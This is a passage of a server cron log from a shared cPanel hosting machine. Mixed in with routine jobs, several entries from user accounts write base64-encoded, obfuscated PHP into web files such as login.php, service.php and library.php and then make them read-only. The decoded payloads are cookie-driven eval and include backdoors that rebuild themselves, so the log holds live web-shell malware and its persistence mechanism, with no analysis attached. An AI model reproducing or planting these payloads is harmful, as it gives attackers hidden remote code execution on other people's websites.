KCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:57:01 medusa CROND[4022]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:57:01 medusa CROND[4023]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:57:01 medusa CROND[4026]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:57:01 medusa CROND[4028]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:57:01 medusa CROND[4030]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:57:01 medusa CROND[4032]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:57:01 medusa CROND[4033]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:57:01 medusa CROND[4024]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:58:01 medusa CROND[22423]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 10:58:01 medusa CROND[22428]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:58:01 medusa CROND[22429]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:58:01 medusa CROND[22431]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 10:58:01 medusa CROND[22433]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:58:01 medusa CROND[22434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:58:01 medusa CROND[22437]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:58:01 medusa CROND[22440]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:58:01 medusa CROND[22441]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:58:01 medusa CROND[22442]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 10:58:01 medusa CROND[22443]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:58:01 medusa CROND[22448]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:58:01 medusa CROND[22449]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:58:01 medusa CROND[22447]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:59:02 medusa CROND[11664]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 10:59:02 medusa CROND[11665]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:59:02 medusa CROND[11666]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:59:02 medusa CROND[11667]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:59:02 medusa CROND[11673]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:59:02 medusa CROND[11674]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcj